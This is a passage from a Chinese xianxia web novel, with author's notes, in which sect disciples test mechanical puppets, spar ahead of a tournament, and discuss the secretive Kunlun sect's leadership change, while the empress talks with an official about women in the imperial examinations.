“师父说掌门只种过那一棵树,大概是没想到能被他养死,后来便不再尝试了。如今后山那些树大概都是过路的鸟儿撒下的种子,自行生长出来的。至于这枯木,能派上用场自然是好事,掌门不会同你计较的。”连映为这一话题下了结语,又看向叶泯,“这物件里面好像是空的?” 叶泯终于等到一句赦免,松了口气的同时发觉自己还是有些紧绷,分明已经在这段时日的相处之中了解了步雁山是怎样的人,却还是会在以为自己做错事的时候感到焦灼,好像归墟这些人会把他赶出去似的。 至于吗?他在自己家里也不曾这般拘谨啊,仿佛在家从没受过宠,需要看人眼色长大的孩子。这形象同他有哪怕一文钱的关系吗? 叶泯百思不得其解地在心里叹了口气,接过话茬:“是空的。”他从乾坤袋里摸出一把巴掌长的铣刀,在“栖霜”的表面摸了摸,寻到一处缝隙,用铣刀顺着缝隙把那块木料撬开了。 “里面是机簧,就算没有傀儡术的灵气加持,也能自行活动,只不过需要一点助力。”他在“栖霜”身后扇了扇风,就见那小东西竟真的迈着不大自然的步伐往前走了两步。 不过也只有两步。 “风势或是水势,都能推着它走,只不过应当不需要它们自行行动,做个傀儡术的驱使物件就够了。”叶泯又看向闻越手中的蝴蝶,“麻雀和蝴蝶用翅膀扇动,机簧的运作原理要比这只简单些,闻师兄,你可以试着让它动一动。” 闻越将手中的蝴蝶放在桌上,学着方才叶泯的样子,在其后扇了扇风。 那木雕的翅膀竟仿佛纸做的一般,在这样微弱的风势下扇动起来,振翅欲飞。 “机簧又是哪来的?”关云铮拨了拨麻雀的翅膀。 叶泯朝她一摊手,只见他手心里竟还有几个差不多的机簧:“那日从农庄回来时不是遇见了那位姓林的匠人吗?” “我从他那里要了些锻造武器剩下的废料。”叶泯说着,将手中的机簧放在桌上,“给铁塑造形状可比木头难多了,我还去问凌师伯借了一个丹炉。” 这下连楚悯都有些惊讶了:“方才凌师伯在餐桌上竟全然不曾提及此事。” 大概是终于松了心弦,叶泯的脸上流露出疲色:“他估计以为我要改符归丹,乐得祝我一臂之力,却没想到我借丹炉是转为器修,”他重重叹了口气,“又得挨骂咯。” “大家都会为你高兴的。”闻越忽然说道。 原本他还在困惑,为什么叶泯身边这么多人,他不给自己的同伴们做,不给云铮做,却会给自己这样一个与他并不十分相熟的人,费心费力地研究这小物件。 可方才听他所言,观他神情,闻越觉得自己似乎有些理解了他的用意。 他们在某些方面有些相像,家境优渥,没吃过什么苦,但进入同龄人之中便显得无甚长处。长时间过去,别人的功力和修为突飞猛进,他们的进益却微乎其微,学的也都是些如今仙门不甚认可的“杂修”,像个同伴之中混日子的。 闻越比他虚长几岁,自然比他更懂这种感觉。只是他已经坦然地接受了自己是先飞也飞不远的笨鸟,叶泯或许……还需要一点时间。 ——虽然他既能使符咒,又能吹埙,还会御兽,如今还能研究机关小鸟、机关蝴蝶,已经胜过他,胜过其他许多人太多了。 木蝴蝶扑闪着翅膀,缓缓升起,又有些迟缓地飞到叶泯面前落下。 “你已经很了不起了,叶泯。” **** 煽情场合过后人总是会有几分无所适从,闻越又不是擅长打圆场的性子,说完那样一句话自己也不好意思了,抄上木蝴蝶就逃去了褚老的藏书阁。 ——留下见惯闻越这副模样的江却和连映与四人小队面面相觑。 关云铮倒是个习惯性打圆场的,不忍让任何一句话掉在地上,也不习惯让任何一个场子在自己眼皮子底下冷掉,总之在这样的性格促使之下,她试探着说道:“那要不,我们四个就去练功消食了?” ……这说的什么,还不如闭嘴。 连映笑眯眯的:“好哦。” 四人“噌”地起身,先后向两人点头致意:“那师兄师姐我们就先走了!” ——然后火速逃往关云铮的院子了。 逃的路上谭一筠和叶泯依旧在拌嘴,关云铮脱离环境后就没那么不自在了——毕竟不好意思的并不是她,还能语气坦然平静地和楚悯说悄悄话。 “对了。”悄悄话时间结束,四人也回到了关云铮的院子,院子的主人忽然一转身,面向三人,“我觉得大比的幻境里一定需要御剑。” 谭一筠和叶泯一同抬起头:“怎么忽然这么说?” “毕竟众仙门都是剑修为多,仙盟本身又极为推崇剑修,要考察众弟子这一年来的功课,必然会侧重剑修,御剑就不太能躲过考察了。”关云铮分析着,“所以你们两个这段时间一定得巩固御剑,到时我们四人至少要有两把剑,不然有些场合恐怕难以应对。” 谭一筠和叶泯不约而同地回想起了迷津渡幻境中那群倾巢而出的毒蛇,面有菜色地点点头。 “还有。”关云铮说完这两个字后忽然没声了,引得三人一同调转视线看向她。 “到时候我们可能没法在最开始便会合,单打独斗或者一打多的情况很有可能发生,我们需要提前练习对这种情形的应对方式。”关云铮说着,缓缓拔出了腰间的霄汉,“正好大家都吃撑了,下午我也打算做些别的点心……” 谭一筠直觉不妙,一抬手捞过身后的子不语,下意识退后了一步:“所以?” 关云铮终于露出了一个不怀好意的笑:“所以……我们四个来打一架吧?”—— 作者有话说:剧烈痛经+腰痛中,晚了,轻轻跪下 第157章 无论是最初的几位教习先生, 还是四人“专业分流”后面对的新老师,都不是什么会对学生宽松管理的类型。 章存舒说话和做事是两套风格,话有多好听, 下手就有多狠, 每次出手都带着大佬对菜鸡的碾压味,外人看了会将他的举止称作炫技, 只有被他磋磨的弟子能在长久的折磨中领会到教导的真谛。毕竟老师教得难是真的, 老师教完成绩提高也是真的,个中酸楚与成就只有学生自己清楚。 步雁山倒是循循善诱的类型,也很懂得爱惜这些连茅庐都没出的弟子,只是到了考核的时候照样不会手软,该考的东西他一件也不会落下——这是那位叫璇玑的姑娘说的,作为被步雁山布设幻境折磨的人, 她对这位外表温和有礼的掌门很有实际评价权。 蒲飞鸢倒不会像前两位一样“表里不一”,她表现出来有多严格, 实际对打时便有多严格,偶尔还会出几招阴的。这里的“阴”倒不是贬义, 修仙界历来都有弟子初出师门下山历练便折在山下的例子, 多数都是因为山下跟山上不是同一套路数:山上教人出剑前要念剑诀,教人要凝神静气,然而真打起来的时候, 往往没有那么多时间。 山上的招式太过规整, 到了生死关头也由不得人一板一眼地比划——人不能把自己成功的指望寄托在对手身上。 总之蒲飞鸢的“阴招”虽然总是令人防不胜防,但很少真的听见某个弟子抱怨,谁都知道这是真的为了他们好。虽然在蒲先生的剑下调动急智想出还手的招数,对众人来说很艰难,但这样的教学模式也一直延续至今。 苏逢雨作为“外聘教师”, 不受归墟的规矩约束,教学的法子也很随性,与前面几位一对一固定时间教学的比起来,更像是修行,非常考验弟子本身的心性,好在她的弟子是楚悯。她要求弟子每日雷打不动地早起听风,感谢护山大阵,归墟几乎不会下雨,免了楚悯不时被淋成落汤鸡的可能。除此之外,所有的曲谱她只教两遍,有问题另说,多数时候都是楚悯自行领悟,她在一旁时而点拨,是完全的引导式教学,适合楚悯这样自律的聪明人。 褚老则是很典型的特级老教师,教学方式看起来平平无奇,多少年过去也还是老一套,可就是效果好,教出来的学生都能真正理解并运用各类符咒。如果有人质疑他的教学模式……看看前两位先生的术法水平,就能证明一切了。 至于这些时日拨出时间陪关云铮练刀的任嵩华……关云铮一直很好奇,她几乎从不离开来去峰,到底从哪来的这么多刁钻的招式,有些招式比之蒲飞鸢的“阴招”有过之而无不及,经常打得人左支右绌,不到半个时辰就能大汗淋漓甚至脱力。 总而言之,在外界看来是个“破落户”的归墟其实不缺有能之人,而这帮有能之人又都来教书育人了,被教导的这群人自然也都不是什么不可雕的朽木——关云铮发起“打架邀请”后,谭一筠率先用子不语摆出了迎战的架势,叶泯脑子里还在“朋友之间打什么架”,手上已经完全下意识地攥住了一张符咒。 只剩下楚悯还没动作。 三人一同看过去,只见楚悯堪称温吞地召出了古琴形态的月下逢抱在怀里,也没急着动手:“如何打?谁与谁是敌对?还是混战?” 规则还没定下,确实不能就这么开打。关云铮顺手挽了个剑花:“随便吧,想打谁打谁,你们三个一起打我也行,我大概率打不过,但万一大比的时候太寸,被围攻也不是没可能发生,当做预演也不错。” 叶泯不太喜欢这个假设,但也没法反驳,只好接着提建议:“总不能真的打伤彼此,也不能把你的院子打坏了,话痨布个结界吧,再添个卸力的阵法。” 他话音刚落,卸力的阵法已经在四人脚下亮起来了。 “这样你或许就打得过了。”楚悯笑着说。 布置结界与阵法需要耗费灵气与心神,接下来谭一筠势必会有一部分的力量被分去这二者之上,如果真是他们三人对上关云铮,后者的胜算便又大了几分。 关云铮挑眉:“要是真能赢,到时可别说我胜之不武。” 两人说话间,布置好扩展结界的谭一筠随口说道:“怎么就笃定我没余力了,云铮,你这段时间很狂妄啊?” 结界落成后,那层代表了边界的光晕会逐渐消散,就在光晕彻底消散的一瞬间,四人同时动了—— **** “昆仑的人要来?”先前宾客名单确认时章存舒没仔细看过,此刻才发觉一眼望不到头的名单尽头,竟然缀着昆仑的名字。 即便有闻逍从旁协助,能提早将所有的住所安排妥当,步雁山也从未被这样多的事务压在肩上过,忙完的一瞬间眼神都空茫了。 “想什么呢?”章存舒卷起名册在他眼前挥了挥。 步雁山回过神来,疲惫地叹了口气,伸手捏着眉心:“师兄,你觉得培养云崽做掌门怎么样?” 章存舒挑眉:“你忍心?” 步雁山面无表情:“那你当年怎么忍心让我做掌门。” “当然是因为师兄不合适,而我不想,那便只好交给你了。”章存舒毫无悔改之意,并且因为笑得太过开怀,眼睛都弯了起来。 这话早在步雁山意料之中,他再度叹了口气,索性将此事翻篇:“昆仑前些日子换了掌事之人,此事你应当知道。” 章存舒意味不明地“嗯”了声:“是知道。” “原本她们已经好些年不出山了,我也只是按照惯例去了一封邀请函,没想到收到了回信。”步雁山说着,从乾坤袋里取出一张折叠起来的信笺。 那信笺理应是纸,却透着股石质的冷色,被放在光下时,几乎将落在其上的光都敛了进去。 章存舒一手托着下巴,一手接过那信笺,翻开随意看了眼。 信笺上的字也不像笔写的,软质的笔写不出这样刀削斧砍的字,更像是什么东西刻画出来的,转折处甚至有一些粉末状的碎屑,至今仍嵌在字里行间。 “昆山玉?”章存舒没对信笺的内容做出评价——“感谢邀请”和“到时会来”这两句话没什么好评价的,倒是对信笺的质地起了些兴致,“好些年没见到了。” “也不知她们多年未出昆仑,此时忽然表态是何缘故。”步雁山伸手一触手边的茶壶,发觉已经凉透,便运了些灵气在掌心,凑到壶边给茶水回温。 “她们前些日子换了掌事的事,消息灵通些的仙门人应当都知道,但前任掌事为何卸任,却没听见半点风声。”昆仑处在高山深处,消息闭塞些倒也合理,可是没道理换人的消息能传出来,上一任的下落却杳无音信。 昆仑又为何要封锁这一消息? 众仙门对昆仑派的了解都不多,干坐着讨论门派内部的事如同纸上谈兵,师兄弟两人干脆默契地搁置了话题。 “你真想让云崽做掌门?”章存舒忽然问道。 步雁山不答反问:“师兄,百年之后还有归墟吗?” 章存舒一愣,随即大笑起来:“师父当年给门派起了这样一个名字,不就意味着他也不觉得门派能活过百年吗?” “为何不能是万物归处?”茶壶里的茶水被热得过沸了,“咕嘟咕嘟”地冒起气泡,即将冲开壶盖。 章存舒一抬手,将那壶盖轻轻压住:“百年之后仍会有归墟,但不必有门派。” 他眉眼间的正色像是一场云烟,顷刻间便消散了:“既然茶也温好了,不如我们拎着茶壶去看看,你心目中那位未来的小掌门在做什么?” **** 关云铮还在打架。 严格来说,余下的同伴三人没有一个是真正意义的“输出型”,哪怕是驱使各种符咒的叶泯,也只有燃焰咒这样的符咒能给关云铮破个相——当然,有谭一筠的卸力阵法在,四人是不可能真正受伤的,所有的招式就只是招式,其间蕴含的力量在接触到彼此的身躯之前,便会被阵法吸收化解。 但三人合力仍然令关云铮应接不暇。 “三拐带条狗都能杀”某种意义上是句“放之四海而皆准”的铁律,绝不仅限于游戏里。何况楚悯三人还不是传统意义上的辅助,理论上更接近副c的定位。关云铮只短暂地分出了一瞬的心神,想了这么一句有的没的,就不得不收回心绪继续应对三人的攻势。 楚悯手中的月下逢在琴与弓两种形态之间几乎是无缝切换,扰人心绪的音律和由音律转化而来的攻击总是接踵而至;谭一筠的子不语也是能攻能辅,有时是颇具杀伤力的飞刀,有时是恼人的加持。两人合力之下,一前一后地补上己方加持,反手又给关云铮挂上削弱,速度快得让她疲于奔命,脚下轻功也不得不提了一次又一次的速。 同时她还得在避开削弱的同时对上叶泯各式各样的攻击,不论是符咒还是乐音,叶泯的攻击简直无处不在,几乎在短时间内拔高了关云铮听声辩位的水平。 一张燃焰咒擦着关云铮脸侧而过,撞上了早就浮在她身后等待敌人的摇羽。 攻势被阵法削减,但符纸还是在剑身上擦出了一簇微弱的火苗。 “厉害,能在用刀的同时操控剑。”叶泯毫不吝啬地夸奖了她一句,说话间又是一张符咒顺着指缝极速飞出。 “你夸我的时候要是能手下留情,我就更感动了。”关云铮眨掉睫毛上的汗,说话的瞬间已经闪到了叶泯的身后,躲过飞旋而至的子不语和那张符咒后,紧接着就是一刀势如满月的劈砍。 叶泯迅速用手中短鞭隔开这一刀,同时借着被阵法削减后的一点反作用力退后几步至谭一筠身侧。而谭一筠正抬手召回子不语:“累了?累了可以休息。” 关云铮一击不成,已收敛去势,闻言笑了声:“激将法?对我可不管用。” 话音刚落,眼前风声已至,她向后一仰,刀身横至眼前,正好弹开一支由月下逢发出的“箭”。 “这是什么的律,还怪好听的。”关云铮直起身,足尖轻点,纵身跃至摇羽的剑身之上,“结界里也能捕获外面的律吗?” 楚悯也抬起脸朝她一笑:“我杜撰的。” “杜撰也能有这么大威力了?不愧是小悯。”关云铮御剑躲过又一张符咒,“这位小泯同学,你是不是有点太不讲武德了?我在这唠嗑呢,你打什么岔。” 叶泯抬手抹掉鬓角的汗:“万一大比里有人比我手段更下作呢?” “也对。”关云铮才接完话,忽然感觉腰间一软,马上就要从剑上落下来的瞬间,连忙又操纵摇羽到她腰间垫了一把,这才找到着力点落地,转头看向谭一筠,“又是什么时候给我加的卸力?” 子不语上有流光闪过,谭一筠学着她方才的模样,露出个不怀好意的笑来:“在天上也得留心脚下啊,云铮。” “哟,打得这么火热?”结界外传来章存舒的声音。 谭一筠布的是个双向阻绝的结界,但防不住修为比他高出一大截的章存舒,结界内究竟正发生些什么,逃不过他的眼睛。 “快歇歇吧,都累成什么样了。”步雁山的声音随后响起。 关云铮隔空将摇羽收回剑鞘,甩了甩已经酸得快要抬不起来的手臂:“果然打不过你们三个。” 谭一筠收起结界和阵法,也松了口气:“我也快累死了,感觉从没崩得这样紧过。”要是他脑袋里真有弦,恐怕早就在方才崩断了。 叶泯收了符咒,这才觉出干渴,喉咙几乎要冒烟,根本说不出话来,连忙接过步雁山递过来的茶水,一口喝干了:“渴死我了,再来一杯。” 楚悯也将月下逢收回虚空,抬手按了按太阳穴:“从未这样频繁地捕捉过律,实在是有些疲惫。” 关云铮说完方才那句话便进入了活人微死的状态,连章存舒递过来的茶水都不想碰,一脸四大皆空地坐在地上,魂魄离体般地发呆。 “怎么忽然打起来了?”步雁山没有关云铮那样丰富的点心库存,只好小题大做地用缩地成寸去饭堂现拿了几碟回来,“李厨还问我拿点心做什么。” 关云铮放空了一会儿终于缓过来了,先把手边的茶水干了,又摊开双手示意步雁山给她一块点心,两口咽了后才说:“万一大比的时候有人落单,我们总得提前想好对策。” “落单的可能不大,”步雁山仿佛没意识到自己又在“泄题”,一本正经地分析道,“到时更可能是与素不相识或不熟悉的人合作。” “素不相识?各大仙门年龄相仿的弟子不都在归墟接受教习吗?”谭一筠手抖得拿不起点心,只好认命地接受章存舒的投喂。 “这倒不是。”章存舒还给他兜了一把掉落的碎屑,或许是因为照顾过幼时的江却和连映,他做这些动作时略有些生疏,却很自然。 只不过温柔到底不是章存舒的性格,没说两句他就暴露了本色:“有些仙门藏私,不想弟子接受集中教习,到时要是遇上他们了,就给他们看看,我们归墟教出来的弟子有多优秀。” 关云铮恢复了一点力气,只是仍旧累得不行,懒得调度情商,说话十分直白:“师父你中邪了?什么时候还开始在乎别人的意见了?” 一旁的步雁山失笑:“到时昆仑也会来。” 谭一筠顾不上被点心碎屑呛到的风险,一边咳一边说:“昆仑?她们要出山了?” 关云铮不明所以,凑到楚悯身边低声问道:“昆仑是哪个门派?昆仑山那边的?” 楚悯点了点头:“昆仑派中都是无情道女修。” “哇——”关云铮双眼放光,“任师姐参与这次大比吗?想看她和昆仑的人交手。” 步雁山笑道:“这便是你师父在意的事。许多年前昆仑不曾与外界隔绝时,见过嵩华一面,惊讶于她的剑技,曾公然提出要她加入昆仑派中。” 那时戚寻月还活着,她尚未表态,比起现在更加年轻气盛的章存舒却先不高兴了,差点与昆仑彼时的掌事者大打出手。 戚寻月作为任嵩华的师父,却很少对徒弟施以管束,再加上她那时已经呈现出灵气衰竭之相,碰上昆仑这样无理的请求竟也没说什么,反倒是章存舒被触碰了逆鳞,向来对人笑脸相迎的人发了好大一通脾气。 大概是照顾章存舒的心情,步雁山将此事说得很简略,没多强调戚寻月那时的状态,只轻描淡写地将这话题拿起来,又轻轻地放下了。 关云铮见过霰照里戚寻月的模样,见过她弥留之际与两位师兄相处的状态,也听步雁山亲口说起过那些过去,大概能明白章存舒当时是什么心情,又为什么要发这通火。 我师妹还没死呢,你们就当着她的面要走她的徒弟? 唔,这样想想是挺不能忍的。但好像也比较符合她刻板印象里无情道的画风,哦,不是那种网站里永远在谈恋爱的无情道。 “不过当年那位……”步雁山看向章存舒,“好像就是前些日子卸任的那位掌事吧?”—— 作者有话说:新增营养液182+评论25=4890,昨晚写得太困了差一点没写完,所以今天白天发了 秋天来啦(体感其实已入冬),记得做一些能带来幸福感的事哦,比如喝点热饮吃点甜品睡个大觉什么的[三花猫头] 第158章 “卸任?”谭一筠捞过茶盏, 把点心往下顺了顺,“如今的掌事又是谁?” 关云铮缓过劲来,坐回桌边:“怎么, 难道你知晓内情?” 这段时日虽然只有零散的课业, 但四人日常的任务都没落下,甚至因为没有时间上的管束, 偶尔练得会比先生在旁时还久些。李演没少给筋疲力尽的少年备过吃食, 知道仅一壶茶和一碟点心是远远不够的,在步雁山走后便把剩下的也一同送了来。 谭一筠抬头向他道谢:“辛苦李厨。” 李演摆摆手:“拿钱办事,辛苦什么。”他在桌边坐下,又把同样在桌边坐着的关云铮和楚悯赶去秋千那边,“有秋千不坐,这位置还是给我吧。” 对哦。 关云铮感觉自己的脑袋如同一枚生蛋, 打架打得里头的黄都散了,院子里拢共就这么几个位置, 如果她和楚悯不去秋千上坐着,剩下的人就得坐不下了。 章存舒接过方才的话茬继续往下说:“小筠算是知晓一些内情, 毕竟兰长老同上一任掌事交情颇深。” 谭一筠点点头:“我昨日才同师父通过信, 如果是这样大的事,理应听她提起,可她只字未提, 难道这其中有什么隐情?” “或许你师父也不知道?”关云铮把剥好的栗子仁递给楚悯, 一边剥壳一边说,“昆仑既然要来参加大比,怎么会在这时候掌事卸任?总觉得有些不寻常。” 这就像教练带队出门打比赛,名单都报备过了,结果临到阵前忽然换教练一样, 还不告知官方换教练的理由,搞得人心惴惴不安。 关云铮倒不是担心这样一来昆仑的人会更难以捉摸——毕竟本来就是零了解,换不换掌事都差不多,她只是觉得此事蹊跷,恐怕有什么意外。 “现任掌事又是谁?”叶泯靠在桌边问道。 “奚楼,与上一任掌事奚亭是亲姐妹。”步雁山答道,“奚楼对门派内务向来不甚上心,志不在此,接过此担想来是无奈之举,一定是门派内出了变故。” 是什么样的变故,连一点风声都不肯泄露出来? 楚悯觉得这样的处事方式有些熟悉,沉默了片刻:“奚亭前辈她……” 她说得迟疑,但因为在座众人心中都有此疑虑,所以全都读懂了她的言外之意。 奚亭或许死了,并且死得很突然,甚至可能是有人从中作梗导致了她的死亡,而昆仑还没将此事处理妥当,所以才要封锁消息。 偏偏这个节骨眼上要办仙门大比,掌事卸任这样的事就算不告知其他仙门,到时带着人一亮相,还是瞒不过。 可她们过去好些年不曾参与大比,这一年分明也可以这样延续下去,怎么又在奚亭出意外后改了主意,忽然要参加了? 这事越想越让人一头雾水,关云铮索性专心剥她的栗子,分出一点心神听几位大人扯闲篇。 “到时陛下可要来?”步雁山问道。 或许大人们对昆仑一事还有许多更阴暗的猜测,但这些话就没必要说给少年们听了,索性另起了一个话题。 “大概?好些日子没和她联系了。”章存舒漫不经心地说,上次和苍韫桢传信已是好几个月之前了,也不知道陛下日理万机,近日都在忙些什么。 **** 苍韫桢正在为科举劳神费力。 按照历朝历代的惯例,科举应分秋闱与春闱,纵使春闱拖得再久,到了此时也早该结束了。 但自从苍韫桢登基改了科举制度,每年春闱时都得出点乱子,往往会将简单的几场考试往后拖了又拖。 柳卿知从江县回来便一直在为科举奔走,此时也不在宫中,倒是被她一手提拔上来的沈时安仍在殿中,对着一桌子的奏折皱紧了眉头。 自己焦头烂额的时候,看看别人水深火热的样子仿佛能有几分舒缓的作用,苍韫桢从自己桌前抬起眼,正看见沈时安那紧得能夹死飞虫的眉头。 “看见什么了,跟我说说。”苍韫桢搁下笔,站起身溜达到沈时安桌边。 沈时安抬起头,顿时一张脸上又是义愤又是苦恼:“陛下,让女子参与科举究竟伤害到哪个男人了?朝廷缺人,别说不让男人做官了,这几年都在放宽学子做官的门槛,他们到底还有什么不满意的?” 苍韫桢失笑,没直接回答她的问题,反而顾左右而言他似的说道:“要是哪天让你和苏逢雨聊聊就有意思了。” 沈时安一头的义愤变成了雾水:“谁?” 苍韫桢一撩袍摆,在她桌角坐下:“一个江湖散修,年少时也同你一样,想不明白为什么男人总是得利者,却仍旧对一切都心怀不满。” “所以究竟为何?”沈时安被这些折子搅扰多日,不肯轻易放过这个问题,执着地追问。 她承认,自己长大的环境对于寻常女子来说其实不太寻常。其他孩童开智的年纪,她却没了亲生爹娘,一团懵懂时,被彼时还是闺阁小姐的柳卿知收作侍读丫鬟。没比她大多少的小姐亲自教她认字读书,所有的诗书都由小姐揉碎了为她讲解,她习得的所有学识里,都有柳卿知留下的烙印,不是什么学塾夫子,不是什么三纲五常。 但她与柳卿知一点也不像。苍韫桢想。 女帝用那双阅尽了世人的眼注视了她片刻,随即笑起来:“你在卿知身边长大的时候,应当见过不少世家子弟。” “可是世家子弟……”沈时安立刻便要反驳,声音却在苍韫桢安静的注视中渐次淡退了。 是啊,这并没有什么不同。 不论是自小便知自己与旁人不同,金尊玉贵的世家子弟,还是必须挣命才能出人头地的寒门子弟……都没什么不同。 因为过去的诸多朝代,偌大史册中,谈论起世家和寒门的“子弟”时,都不曾将女人放进讨论的范畴中。 世家的女人会去哪里?寒门的女人会去哪里?她们仍然会有自己的姓氏,但会逐渐失去自己的名字,除非成了某场祸事的替罪羊,因为美貌获罪,成了某个祸国殃民的“祸水”。 又或者为了夫家,为了父亲,变成功德碑上引人赞颂却毫无灵魂的一笔。因为那功德碑上镌刻的并不是她们,是某人的妻子,某人的女儿,不是她们自己。 骂名与赞颂,都不是她们该背负的东西,真正该承受千古骂名的人在哪里?迫使她们被毫无灵魂地赞颂的人在哪里? 眼见沈时安的神情逐渐变得愈发气愤,苍韫桢伸出手在她眼前招了招:“诶,又想岔了。” 沈时安回过神来看向她,怒睁的眼像某种几欲咆哮的小兽。 苍韫桢坐在桌角,伸手拨了拨她的笔架:“我明白你的愤怒,因为这些事看起来似乎全是某一群人造成的,但这并非问题的关键,一味地将矛头指向这群人,反而正证明了他们一直以来宣扬的那一套话。” “什么?”沈时安在对外时,总是学着柳卿知神色冷硬,面对苍韫桢和柳卿知时却总像白纸,她们说什么她都会认真听着,任凭两人的言行将她晕染成任何模样——所以苍韫桢也不得不严肃对待每一次同她的对话。 “女人,天生缺乏理智,难成大事。”苍韫桢勾起嘴角笑了笑,“不必在乎他们,那不重要,他们的气急败坏,他们的恶意中伤,正说明你得到了他们都不曾得到的东西,而且比起他们,更为轻而易举。你比他们优秀数倍,甚至十数倍,到时他们难望你项背,你又为何要同这些与你隔着万水千山的人计较?” 苍韫桢又略微收敛了自己的笑意:“但在那之前,你要忍耐,要保护好自己,如果你所在的位置还不是展露野心的最佳位置,那你就要等。” “可是什么样的位置才是那个最佳的位置?”沈时安不解。 “你会知道的。”苍韫桢从她桌上跳下,走回独属于她的那张席案之后,“你会抵达那个位置的。” **** “任师姐。”关云铮用袖子胡乱擦了一把脸上的汗,趁任嵩华还没回试心玉那边练剑,喊住她问道,“师父和掌门说,来日大比时昆仑的人会来。” 任嵩华颔首:“掌门同我说了。” “那时……奚长老当真说过要将你纳入门中的话吗?”关云铮问道。 每逢提起有关戚寻月的旧事,几人的态度各有不同。章存舒会对自己不喜欢的话题闭口不谈,步雁山虽然不会有所隐瞒,但说到这些事难免生出一番感怀,只有面对任嵩华时无需顾忌,她会有话直说。 但关云铮从不觉得这是所谓的“无情”,任嵩华修的是无情道,但不是浅薄的“断情绝爱”——强行断情绝爱的角色她见得多了,由于情绪管理不到位,常年压抑正常情感,最后多半要走火入魔。 任嵩华的“无情”更像是一种“优先级”。对她来说,事比情重要,那就只谈论事;情比事重要,那也可以先谈论情。 譬如此时。 “奚亭长老确实在师父面前提起过,想让我入昆仑派修习。”任嵩华归剑入鞘,在关云铮身边坐下,“我那时尚且年幼,不太愿意与生人交谈,没搭理。” 大概是因为彼此对戚寻月和她之间的关系心知肚明,这次任嵩华没再对“师父”这个称谓闭口不谈。 只是……竟然是这么“朴素”的原因吗。 关云铮犹自震撼,便听一旁的任嵩华接着说道:“如果那时我就知道师父会死的话,我或许会跟奚亭走的。” “什……为什么?”关云铮惊得差点找不到自己的嗓子。 任嵩华看了一眼不远处安静伫立着的不熄鼎,仿佛在确认那个灵魂能听见她说的话似的:“因为羁绊不深,就不会伤心了。” 关云铮感觉自己的喉口久违地抽动了一下,那是她因为极度共情,痛苦躯体化的征兆。 “常年待在昆仑那样全是无情道修的地方,想必也不会有太多闲暇想起曾经的师父。昆仑偏僻,消息大概也不甚灵通,不会知道师父究竟如何了,是生是死,过得怎样。”任嵩华语气平淡地说道。 偌大归墟没有一棵柳树,如今也并非柳树飘絮的季节,关云铮却觉得有絮状的东西卡在自己的喉口,让她吞咽不得,喉咙一阵粗粝干涩。 “师父死前曾问我,要不要转认掌门做师父,我仍旧没搭理。”任嵩华的目光又看向了另一边那漆黑的试心玉。 “那掌门修的是……?”关云铮皱着眉将那点不舒服的感觉强行咽下去,开口问道。 任嵩华回过头看向她:“他自己都说不上来,我更无从知晓。” 但任嵩华一定不是因为这个原因,才不愿意做掌门徒弟的。只是没想到……掌门竟然也说不出自己究竟修的是什么道吗?那当初他的剑忽然“闹脾气”,会不会也不是因为所谓的“剑柄缺了一块”这样荒唐的理由,而是什么别的……掌门意识到了却不曾宣之于口的原因? 章存舒的剑意“死了”,所以他的剑在后山的剑冢里;步雁山的剑“闹脾气”,又是因为什么?他的剑意那时出了什么问题?亦或者,是道心出了什么问题? “那块试心玉其实是师父问奚亭要来的。”任嵩华抬手指了指远处,神色寡淡,仿佛在说别人的故事,“她见我喜欢练剑,又不知从哪听闻昆山玉可以锤炼人的心性,问尚未离开归墟的奚亭讨了一块。昆山玉分黑白两色,白色常被昆仑人用来刻字传信,黑色的她们也看不上,骤然听闻师父的请求,乐得成全。” 她毫无波澜的语气让关云铮品出了一丝诡异的温情,仿佛其中仍然残留着她对师父的一丝温情似的,仿佛……她还很留恋。 不过……关云铮看向远处,这么大的试心玉,不动用传送阵法应当送不来吧?当时戚寻月是在怎样的心情中,等待着这块试心玉的抵达呢? “可惜,昆山玉不能锤炼人的心性。”任嵩华的语气几乎听不出起伏,“唯一能锤炼人心性的,只有日复一日投注在修炼之上的时间。” 只是坚硬或只是柔软的东西,是无法锤炼心的。要将柔软的东西锤炼至坚不可摧,将坚硬的东西劈开裂隙,等待沧海变成桑田,等到山水枯竭,那些倾注的时间才是真正的锤炼。 她就这样在足以劈开试心玉的一剑又一剑里,走过了属于自己的万水千山—— 作者有话说:白天被抓壮丁了,努力赶……没赶上(跪) 第159章 步雁山回来去峰时任嵩华已经在试心玉边练剑了, 反倒是结束了练刀的关云铮仍在台阶上坐着,对着不熄鼎的焰火神游天外。 “怎么还没回去?李厨做了好吃的。”步雁山在她身侧坐下。 关云铮收回视线,实在想不通, 索性对步雁山发问:“昆山玉这么硬, 为什么能用来传信?” 步雁山一愣,随即意识到什么, 向任嵩华的方向看了眼:“嵩华同你说了?” 他似是感慨地笑叹一声, 没多过问她们都聊了些什么,回答了关云铮的问题:“昆山玉分黑白两种,用来传信的一般是白色的,因为质地偏软,容易在其上留下刻痕。” 云母?关云铮脑子里冒出个猜测,能产生云母的岩石环境倒确实有可能生成其他黑色且质地较硬的矿石, 电气石、辉石都有可能。只不过……她无声地“关闭”了识海中仍在运行的将隐,她觉得修仙界的石头应该也属于玄学造物, 大概是没法用科学知识解释的。 毕竟云母再软也只是在石头堆里对比出来的,莫氏硬度好歹也有2-3, 用来传信?那不得能折叠才可以实现吗?这对石头来说是不是也太离奇了?关云铮忍不住皱起眉头。 修为提高后将隐的权能得到扩展确实方便了很多, 但也有不好的地方,譬如此时,原本她早已习惯了遇到不理解的就用玄学解释, 不因科学知识与现实相悖而过多纠结——这些都建立在她对21世纪的知识记忆不深的基础上。 人只有在不够清醒的时候才能真正自欺, 一旦清醒地意识到所有的谎言不足以掩盖真相,所有的自我欺骗就只是徒劳。 现如今那些曾经只是“惊鸿一瞥”的知识仿佛在她脑海中留下了刻痕,将隐随便就能从纷乱的记忆中将其调动出来。也正因此,这些日子她偶尔会过得十分割裂,眼前是各种无法用她的知识储备解释的“非自然现象”, 脑海中是物化生知识排着队在打架。 水深火热啊,关云铮。 她在心里叹了一口气,就见眼前的步雁山从乾坤袋中拿出了一张薄如蝉翼的……纸片? 不对,这个语境下,这东西应当是那封信件。 这么薄,甚至真的能对折,可竟然还能不透光? 关云铮盯着那信件看了片刻,发觉完全看不出上面的痕迹,干脆放弃了,揉了揉自己酸痛的眼睛:“昆仑人偏爱用这种石头作为信件的原材料,有什么特殊的原因吗?” 步雁山将那信件在膝头展开:“还真有,不过这也是众仙门口口相传的话了,昆仑倒是没人公开承认过。” 关云铮不动声色地挑了挑眉。 “白色的昆山玉质地软却韧,不易折断,更能考验使用之人的巧劲;黑色的昆山玉坚硬的同时韧性差,容易出现裂痕。”步雁山解释道。 